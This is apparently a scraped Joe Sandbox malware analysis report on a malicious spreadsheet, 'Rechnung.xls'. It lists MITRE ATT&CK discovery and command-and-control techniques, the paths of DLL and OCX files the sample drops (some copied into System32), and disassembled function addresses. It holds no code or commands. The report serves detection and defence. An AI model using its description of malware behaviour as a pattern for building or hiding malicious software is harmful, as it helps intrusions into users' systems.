Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Rechnung.xls

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\klJrMZJhgldiJr6j0XWPeZOiGs[1].dll

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\RD05UTHGkitvIJt[1].dll

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\me435CErJsFGw1q[1].dll

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\lJWa95VlQ[1]

C:\Users\user\AppData\Local\Temp\CabC624.tmp

C:\Users\user\AppData\Local\Temp\TarC625.tmp

C:\Users\user\AppData\Local\Temp\~DF87842D0B1D415996.TMP

C:\Users\user\Desktop\Rechnung.xls

C:\Users\user\uxevr1.ocx

C:\Users\user\uxevr2.ocx

C:\Users\user\uxevr3.ocx

C:\Windows\System32\GistaKepWrpVA\oAaDhgd.dll (copy)

C:\Windows\System32\ITAzDMJQNXvQb\pSYwk.dll (copy)

C:\Windows\System32\MTAKuNEHAAsvRsb\hgVDSaDXChbCzdU.dll (copy)

Windows Analysis Report
Rechnung.xls

Function 000007FEF9D212B0 Relevance: 210.9, APIs: 6, Strings: 114, Instructions: 872
memorywindowCOMMON

Function 00140000 Relevance: 74.6, APIs: 4, Strings: 38, Instructions: 1094
memoryCOMMON

Function 0000000180005C74 Relevance: 6.6, Strings: 5, Instructions: 307
COMMON

Function 000000018000359C Relevance: 6.5, Strings: 5, Instructions: 235
COMMON

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre